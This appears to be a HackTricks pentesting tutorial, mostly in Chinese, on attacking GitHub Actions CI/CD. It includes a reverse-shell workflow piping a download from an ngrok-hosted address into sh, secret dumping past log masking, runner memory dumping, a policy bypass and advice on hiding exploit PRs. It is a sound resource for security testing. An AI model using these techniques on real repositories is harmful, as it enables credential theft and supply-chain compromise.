Files
hacktricks-cloud/src/pentesting-ci-cd/github-security/abusing-github-actions

滥用 Github Actions

{{#include ../../../banners/hacktricks-training.md}}

工具

下面的工具可用于查找 Github Action workflows,甚至发现易受攻击的工作流:

基本信息

本页包含:

  • 攻击者获得对 Github Action 访问时的影响汇总
  • 获取访问 action 的不同方式:
    • 拥有创建该 action 的权限
    • 滥用与 pull request 相关的触发器
    • 滥用其他外部访问技术
    • 从已被攻陷的仓库进行 Pivoting
  • 最后,有一节关于post-exploitation 技术以从内部滥用 action(造成上述影响)

影响汇总

有关 Github Actions 的基本信息

如果你能在 GitHub Actions 内的某个 repositoryexecute arbitrary code in GitHub Actions,你可能能够:

  • Steal secrets 挂载到 pipeline 上,并abuse the pipeline's privileges以获得对外部平台(例如 AWS 和 GCP)的未授权访问。
  • Compromise deployments 以及其他 artifacts
  • 如果 pipeline 部署或存储资产,你可以篡改最终产物,从而发起供应链攻击。
  • custom workers 上执行代码以滥用计算资源并 pivot 到其他系统。
  • Overwrite repository code,具体取决于与 GITHUB_TOKEN 关联的权限。

GITHUB_TOKEN

这个“secret”(来自 ${{ secrets.GITHUB_TOKEN }}${{ github.token }})在管理员启用此选项时会被提供:

该 token 与 Github Application 使用的 token 相同,因此可以访问相同的端点: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Warning

Github 应该发布一个 flow允许跨仓库的访问,使仓库可以使用 GITHUB_TOKEN 访问其他内部仓库。

你可以在以下链接查看该 token 的可能权限 https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

注意该 token 在作业完成后会过期
这些 tokens 看起来像这样: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

使用该 token 可以做的一些有趣操作:

{{#tabs }} {{#tab name="Merge PR" }}

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

{{#endtab }} {{#tab name="Approve PR" }}

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

{{#endtab }} {{#tab name="Create PR" }}

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

{{#endtab }} {{#endtabs }}

Caution

注意,在多种情况下你可能会发现 github user tokens inside Github Actions envs or in the secrets。这些令牌可能会赋予你对仓库和组织的更多权限。

在 Github Action output 中列出 secrets ```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
使用 secrets 获取 reverse shell ```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

可以通过检查 actions 的日志来查看其他用户仓库中授予 Github Token 的权限:

Allowed Execution

Note

这是妥协 Github actions 最简单的方式,因为这种情况假定你有权 create a new repo in the organization,或者对某个仓库拥有 write privileges over a repository

如果你处于这种情形,你可以查看 Post Exploitation techniques

Execution from Repo Creation

如果组织成员可以 create new repos 并且你可以执行 github actions,那么你可以 create a new repo and steal the secrets set at organization level

Execution from a New Branch

如果你可以在一个已经配置了 Github Action 的 repository 中创建一个新分支,你可以修改它、上传内容,然后从新分支执行该 action。通过这种方式,你可以 exfiltrate repository and organization level secrets(但你需要知道它们的名称)。

Warning

任何仅在 workflow YAML 内实施的限制(例如,on: push: branches: [main]、job 条件或手动门控)都可以被协作者编辑。如果没有外部强制措施(branch protections、protected environments, and protected tags),贡献者可以将 workflow 重新定向到在其分支上运行并滥用挂载的 secrets/permissions。

你可以使修改后的 action 在以下情况下被执行:手动触发创建 PR 时推送某些代码 时(取决于你希望多吵闹):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

分叉执行

Note

有几种不同的触发器可能允许攻击者 execute a Github Action of another repository。如果那些可触发的 actions 配置不当,攻击者可能会能够对其进行妥协。

pull_request

工作流触发器 pull_request 会在每次收到 pull request 时执行工作流,但有一些例外:默认情况下,如果这是你第一次进行协作,某些维护者需要批准该工作流的运行

Note

由于默认限制针对的是首次贡献者,你可以先提交修复有效的 bug/拼写错误的贡献,然后再发送其他 PR 来滥用你新获得的 pull_request 特权

我测试过,这个方法不可行另一种选项是创建一个与项目贡献者同名的账户,然后删除他的账户。

此外,默认情况下会阻止写权限和对目标仓库的secrets 访问,如 docs 所述:

With the exception of GITHUB_TOKEN, secrets are not passed to the runner when a workflow is triggered from a forked repository. The GITHUB_TOKEN has read-only permissions in pull requests from forked repositories.

攻击者可以修改 Github Action 的定义以执行任意操作并追加任意 actions。然而,正如前述限制,由于无法获取 secrets 或写权限,他无法窃取 secrets 或覆盖仓库。

Caution

是的,如果攻击者在 PR 中更改将被触发的 Github Action,则将使用他修改的 Github Action,而不是源仓库的那个!

由于攻击者还控制被执行的代码,即使 GITHUB_TOKEN 没有 secrets 或写权限,攻击者仍然可以例如 上传恶意制品

pull_request_target

工作流触发器 pull_request_target 对目标仓库具有写权限可以访问 secrets(且不会请求额外授权)。

请注意,工作流触发器 pull_request_target 在 base 上下文中运行,而不是在 PR 提供的上下文中(以避免执行不受信任的代码)。有关 pull_request_target 的更多信息请参见 check the docs.
此外,关于该特定危险用例的更多信息请查看此 github blog post.

看起来因为被执行的工作流是定义在base不是在 PR中的那个,使用 pull_request_target 似乎是安全的,但在一些情况下并非如此。

并且它将可以访问 secrets

workflow_run

The workflow_run trigger allows to run a workflow from a different one when it's completed, requested or in_progress.

在此示例中,某个工作流被配置为在独立的 "Run Tests" 工作流完成后运行:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

此外,根据文档:由 workflow_run 事件启动的 workflow 能够 访问 secrets 并写入 tokens,即使先前的 workflow 不能

这种 workflow 可能会在它依赖于可以被外部用户通过 pull_requestpull_request_target 触发的 workflow 时被攻击。几个易受攻击的示例可以在 found this blog 找到。第一个示例是由 workflow_run 触发的 workflow 下载攻击者的代码:${{ github.event.pull_request.head.sha }}
第二个示例是将来自不受信任代码的 artifact 传递给 workflow_run workflow,并以某种方式使用该 artifact 的内容,从而使其 易受 RCE

workflow_call

TODO

TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR

Abusing Forked Execution

我们已经提到外部攻击者能够让 github workflow 执行的所有方式,现在来看看这些执行在配置不当时如何被滥用:

Untrusted checkout execution

pull_request 的情况下,workflow 将在 PR 的上下文中执行(因此会执行 恶意 PR 的代码),但有人需要先对其 授权,并且它会带有一些限制

如果一个 workflow 使用 pull_request_targetworkflow_run 并且依赖于可以通过 pull_request_targetpull_request 触发的 workflow,那么将会执行原始仓库的代码,因此 攻击者无法控制被执行的代码

Caution

然而,如果该 action 有一个显式的 PR checkout,会 从 PR 获取代码(而不是从 base),那么它将使用攻击者控制的代码。例如(查看第 12 行,PR 代码被下载):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

潜在的不受信任代码会在 npm installnpm build 期间被执行,因为构建脚本和被引用的 packages 由 PR 的作者控制。

Warning

一个用于搜索易受攻击 actions 的 github dork 是:event.pull_request pull_request_target extension:yml,不过即便 action 配置不安全,也有不同的方法配置 jobs 以安全地执行(例如使用关于谁是生成 PR 的 actor 的条件语句)。

Context Script Injections

注意,有些github contexts 的值是由创建 PR 的 用户 控制的。如果 github action 使用这些 数据来执行任何操作,可能导致 任意代码执行:

{{#ref}} gh-actions-context-script-injections.md {{#endref}}

GITHUB_ENV Script Injection

根据文档:你可以通过定义或更新环境变量并将其写入 GITHUB_ENV 环境文件,使该环境变量可供工作流作业中的任何后续步骤使用。

如果攻击者能够在该 env 变量中 注入任意值,就能注入可以在后续步骤中执行代码的环境变量,例如 LD_PRELOADNODE_OPTIONS

例如(参见 thisthis),想象一个 workflow 信任上传的 artifact 并将其内容存入 GITHUB_ENV 环境变量。攻击者可以上传如下内容以进行破坏:

Dependabot and other trusted bots

this blog post 所示,若干组织有一个 Github Action 会合并来自 dependabot[bot] 的任何 PR,如下所示:

on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m

Which is a problem because the github.actor field contains the user who caused the latest event that triggered the workflow. And There are several ways to make the dependabot[bot] user to modify a PR. For example:

  • Fork the victim repository
  • Add the malicious payload to your copy
  • Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
  • Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
  • Then, attacker goes back to the initial PR Dependabot opened in his fork and runs @dependabot recreate
  • Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes dependabot[bot] the actor of the latest event that triggered the workflow (and therefore, the workflow runs).

接下来,如果不是合并,而是 Github Action 中包含像下面这样的 command injection,会怎样:

on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}

Well, the original blogpost proposes two options to abuse this behavior being the second one:

  • Fork the victim repository and enable Dependabot with some outdated dependency.
  • Create a new branch with the malicious shell injeciton code.
  • Change the default branch of the repo to that one
  • Create a PR from this branch to the victim repository.
  • Run @dependabot merge in the PR Dependabot opened in his fork.
  • Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the dependabot[bot] the actor of the latest event that triggered the workflow and using a malicious branch name.

易受攻击的第三方 Github Actions

dawidd6/action-download-artifact

As mentioned in this blog post, this Github Action allows to access artifacts from different workflows and even repositories.

The thing problem is that if the path parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.

Example of vulnerable workflow:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

可以用以下 workflow 发起攻击:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

其他外部访问

已删除的命名空间 Repo 劫持

如果一个账户更改了名字,过一段时间后其他用户可能会注册使用该名字的账户。如果一个 repository 在改名之前拥有 少于 100 stars,Github 将允许新注册且使用相同名字的用户创建一个与被删除仓库同名的 repository

Caution

因此,如果一个 action 在使用来自不存在账户的 repo,攻击者仍然可能创建该账户并入侵该 action。

如果其他 repositories 在使用来自该用户 repos 的 dependencies,攻击者就能劫持它们。更完整的解释见: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Repo Pivoting

Note

在本节我们将讨论允许在假设我们对第一个 repo 有某种访问的情况下,pivot from one repo to another 的技术(查看前一节)。

Cache Poisoning

A cache is maintained between wokflow runs in the same branch。这意味着如果攻击者 compromise 了一个随后被存入 cache 并被一个 more privileged workflow downloaded 并执行的 package,那么他也将能够 compromise 那个 workflow。

{{#ref}} gh-actions-cache-poisoning.md {{#endref}}

Artifact Poisoning

Workflows could use artifacts from other workflows and even repos,如果攻击者设法 compromise 了那个上传 artifact 的 Github Action,而该 artifact 后来被另一个 workflow 使用,那么他就可能 compromise the other workflows

{{#ref}} gh-actions-artifact-poisoning.md {{#endref}}


Post Exploitation from an Action

Github Action Policies Bypass

正如在 this blog post 中所述,即使一个 repository 或 organization 有策略限制使用某些 actions,攻击者仍可以在 workflow 中下载(git clone)一个 action,然后将其作为 local action 来引用。由于策略不影响本地路径,the action will be executed without any restriction.

Example:

on: [push, pull_request]

jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p ./tmp
git clone https://github.com/actions/checkout.git ./tmp/checkout

- uses: ./tmp/checkout
with:
repository: woodruffw/gha-hazmat
path: gha-hazmat

- run: ls && pwd

- run: ls tmp/checkout

通过 OIDC 访问 AWS, Azure and GCP

查看以下页面:

{{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}}

{{#ref}} ../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md {{#endref}}

{{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}}

访问 secrets

如果你将内容注入到脚本中,了解如何访问 secrets 会很有帮助:

  • 如果 secret 或 token 被设置为 环境变量,可以直接通过环境使用 printenv 访问。
在 Github Action 输出中列出 secrets ```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>使用 secrets 获取 reverse shell</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • 如果 secret 被 直接用在表达式中,生成的 shell 脚本会被写入磁盘并且可被访问。

cat /home/runner/work/_temp/*

- 对于 JavaScript actionssecrets 会通过环境变量传递
- ```bash
ps axe | grep node
  • 对于 custom action,风险可能因程序如何使用从 argument 获取的 secret 而异:
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
  • 通过 secrets context 枚举所有 secrets(合作者级别)。具有写权限的贡献者可以修改任一分支的 workflow 来转储所有 repository/org/environment secrets。使用双重 base64 绕过 GitHub 的日志掩码并在本地解码:
name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0

Decode locally:

echo "ZXdv...Zz09" | base64 -d | base64 -d

Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).

滥用 Self-hosted runners

要查找哪些 Github Actions 在非 GitHub 基础设施中执行,可以在 Github Action 配置 yaml 中搜索 runs-on: self-hosted

Self-hosted runners 可能能够访问 额外的敏感信息、其他 网络系统(网络中的易受攻击端点?metadata service?),或者即使被隔离并销毁,可能同时运行多个 action,其中恶意的 action 可能会窃取其他 action 的 secrets

在 self-hosted runners 中,也可以通过转储其内存来获取 secrets from the _Runner.Listener_** process** 的 secrets,该进程会包含工作流在任一步的所有 secrets:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

参见 这篇文章了解更多信息

Github Docker 镜像注册表

可以创建 Github actions 来构建并将 Docker 镜像存储在 Github 内部
下面的可展开示例中有一个例子:

Github Action 构建并推送 Docker 镜像 ```yaml [...]
  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

正如你在前面的代码中所看到的,Github 注册表托管在 **`ghcr.io`**。

对该仓库具有读取权限的用户就可以使用个人访问令牌下载 Docker Image
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

然后,用户可以搜索 leaked secrets in the Docker image layers:

{{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}}

Github Actions 日志中的敏感信息

即使 GitHub 试图在 Actions 日志中 检测秘密值并避免显示 它们,由 action 执行过程中产生的 其他敏感数据 仍不会被隐藏。例如,用秘密值签名的 JWT 不会被隐藏,除非已特定配置

掩盖你的行踪

(来自 here) 首先,任何发起的 PR 在 GitHub 上对公众以及目标 GitHub 账户都是清晰可见的。默认情况下,我们无法删除互联网上的 PR,但有一个例外。对于被 GitHub 暂停 的账户,其所有 PRs 会被自动删除 并从互联网上移除。因此,为了隐藏你的活动,你需要让你的 GitHub 账号被暂停或被标记(flagged)。这样会从互联网隐藏你在 GitHub 上的所有活动(基本上移除你所有的 exploit PR)

An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.

Warning

组织唯一能发现自己被针对的方式是从 SIEM 中检查 GitHub logs,因为从 GitHub UI 上 PR 会被移除。

参考

{{#include ../../../banners/hacktricks-training.md}}